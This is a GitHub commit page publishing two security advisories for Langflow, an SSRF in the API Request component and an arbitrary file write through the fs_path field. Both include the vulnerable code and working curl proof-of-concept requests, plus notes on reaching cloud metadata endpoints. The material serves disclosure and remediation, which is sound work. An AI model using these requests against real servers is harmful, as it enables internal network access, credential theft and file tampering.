Skip to content

Commit 045e0b1

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-5993-7p27-66g5 GHSA-f43r-cc68-gpx4
1 parent 2a17758 commit 045e0b1

File tree

2 files changed

+122
-0
lines changed

2 files changed

+122
-0
lines changed

‎advisories/github-reviewed/2025/12/GHSA-5993-7p27-66g5/GHSA-5993-7p27-66g5.json‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5993-7p27-66g5",
4+
"modified": "2025-12-19T22:52:59Z",
5+
"published": "2025-12-19T22:52:59Z",
6+
"aliases": [
7+
"CVE-2025-68477"
8+
],
9+
"summary": "Langflow vulnerable to Server-Side Request Forgery",
10+
"details": "**Vulnerability Overview**\n\n\nLangflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.\n\nBecause the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.\n\n**Vulnerable Code**\n \n1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359\n \n ```python\n @router.post(\"/run/{flow_id_or_name}\", response_model=None, response_model_exclude_none=True)\n async def simplified_run_flow(\n *,\n background_tasks: BackgroundTasks,\n flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],\n input_request: SimplifiedAPIRequest | None = None,\n stream: bool = False,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n context: dict | None = None,\n http_request: Request,\n ):\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588\n \n ```bash\n @router.post(\n \"/run/advanced/{flow_id_or_name}\",\n response_model=RunResponse,\n response_model_exclude_none=True,\n )\n async def experimental_run_flow(\n *,\n session: DbSession,\n flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],\n inputs: list[InputValueRequest] | None = None,\n outputs: list[str] | None = None,\n tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,\n stream: Annotated[bool, Body(embed=True)] = False,\n session_id: Annotated[None | str, Body(embed=True)] = None,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n ) -> RunResponse:\n ```\n \n2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289\n \n ```python\n def _normalize_url(self, url: str) -> str:\n \"\"\"Normalize URL by adding https:// if no protocol is specified.\"\"\"\n if not url or not isinstance(url, str):\n msg = \"URL cannot be empty\"\n raise ValueError(msg)\n \n url = url.strip()\n if url.startswith((\"http://\", \"https://\")):\n return url\n return f\"https://{url}\"\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438\n \n ```python\n url = self._normalize_url(url)\n \n # Validate URL\n if not validators.url(url):\n msg = f\"Invalid URL provided: {url}\"\n raise ValueError(msg)\n ```\n \n3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata[\"result\"].\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322\n \n ```python\n try:\n # Prepare request parameters\n request_params = {\n \"method\": method,\n \"url\": url,\n \"headers\": headers,\n \"json\": processed_body,\n \"timeout\": timeout,\n \"follow_redirects\": follow_redirects,\n }\n response = await client.request(**request_params)\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340\n \n ```python\n # Base metadata\n metadata = {\n \"source\": url,\n \"status_code\": response.status_code,\n \"response_headers\": response_headers,\n }\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379\n \n ```python\n # Handle response content\n if is_binary:\n result = response.content\n else:\n try:\n result = response.json()\n except json.JSONDecodeError:\n self.log(\"Failed to decode JSON response\")\n result = response.text.encode(\"utf-8\")\n \n metadata[\"result\"] = result\n \n if include_httpx_metadata:\n metadata.update({\"headers\": headers})\n \n return Data(data=metadata)\n ```\n \n\n### PoC\n\n---\n\n**PoC Description**\n \n- I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3.\n- I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/<FLOW_ID>` with an API key to perform SSRF. The response returned the internal service’s body in the `result` field, confirming non-blind SSRF.\n\n**PoC**\n\n- Langflow Setting\n \n <img width=\"1917\" height=\"940\" alt=\"image\" src=\"https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f\" />\n \n- Exploit\n \n ```bash\n curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \\\n -H 'Content-Type: application/json' \\\n -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \\\n --data-raw '{\n \"inputs\":[{\"components\":[],\"input_value\":\"\"}],\n \"outputs\":[\"Chat Output\"],\n \"tweaks\":{\"API Request\":{\"url_input\":\"http://172.18.0.3:8000/internal\",\"include_httpx_metadata\":false}},\n \"stream\":false\n }' | jq -r '.outputs[0].outputs[0].results.message.text | sub(\"^```json\\\\n\";\"\") | sub(\"\\\\n```$\";\"\") | fromjson | .result'\n ```\n \n <img width=\"1918\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1\" />\n \n\n### Impact\n\n---\n\n- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).\n- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.\n- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).\n- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.\n- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "langflow"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.7.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68477"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/langflow-ai/langflow"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-918"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2025-12-19T22:52:59Z",
59+
"nvd_published_at": "2025-12-19T17:15:53Z"
60+
}
61+
}

‎advisories/github-reviewed/2025/12/GHSA-f43r-cc68-gpx4/GHSA-f43r-cc68-gpx4.json‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-f43r-cc68-gpx4",
4+
"modified": "2025-12-19T22:53:13Z",
5+
"published": "2025-12-19T22:53:13Z",
6+
"aliases": [
7+
"CVE-2025-68478"
8+
],
9+
"summary": "External Control of File Name or Path in Langflow",
10+
"details": "**Vulnerability Overview**\n\nIf an arbitrary path is specified in the request body's `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.\n\n**Vulnerable Code**\n\n1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168\n \n ```python\n @router.post(\"/\", response_model=FlowRead, status_code=201)\n async def create_flow(\n *,\n session: DbSession,\n flow: FlowCreate,\n current_user: CurrentActiveUser,\n ):\n try:\n db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)\n await session.commit()\n await session.refresh(db_flow)\n \n await _save_flow_to_fs(db_flow)\n \n except Exception as e:\n ```\n \n2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38\n \n ```python\n CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]\n CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]\n DbSession = Annotated[AsyncSession, Depends(get_session)]\n ```\n \n3. The client can directly specify the save path, including `fs_path`.\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70\n \n ```python\n ):\n try:\n await _verify_fs_path(flow.fs_path)\n \n \"\"\"Create a new flow.\"\"\"\n ```\n \n4. It attempts to create the file (or *the* file, in the case of a path without a parent) directly without path validation.\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49\n \n ```python\n async def _verify_fs_path(path: str | None) -> None:\n if path:\n path_ = Path(path)\n if not await path_.exists():\n await path_.touch()\n ```\n \n5. Serializes the Flow object to JSON and writes it to the specified path in \"w\" mode (overwriting).\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58\n \n ```python\n async def _save_flow_to_fs(flow: Flow) -> None:\n if flow.fs_path:\n async with async_open(flow.fs_path, \"w\") as f:\n try:\n await f.write(flow.model_dump_json())\n except OSError:\n await logger.aexception(\"Failed to write flow %s to path %s\", flow.name, flow.fs_path)\n ```\n \n\n**PoC Description**\n\nWhen an authenticated user passes an arbitrary path in `fs_path`, the Flow JSON is written to that path. Since `/tmp` is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.\n\n**PoC**\n\n- **Before Exploit**\n \n\n <img width=\"1918\" height=\"658\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d\" />\n \n- **After Exploit**\n \n ```bash\n curl -sS -X POST \"http://localhost:7860/api/v1/flows/\" \\\n -H \"Content-Type: application/json\" \\\n -H \"x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc\" \\\n -d '{\"name\":\"poc-etc\",\"data\":{\"nodes\":[],\"edges\":[]},\"fs_path\":\"/tmp/POC.txt\"}'\n ```\n \n <img width=\"1918\" height=\"742\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174\" />\n \n\n### Impact\n\n- **Authenticated Arbitrary File Write (within server permission scope):** Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.\n- **Both absolute and relative paths are allowed, enabling base directory traversal.** The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.\n- **The file content is limited to Flow JSON,** but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.\n- **In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.**",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "langflow"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.7.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-f43r-cc68-gpx4"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68478"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/langflow-ai/langflow"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-73"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2025-12-19T22:53:13Z",
59+
"nvd_published_at": "2025-12-19T18:15:51Z"
60+
}
61+
}

0 commit comments

Comments
 (0)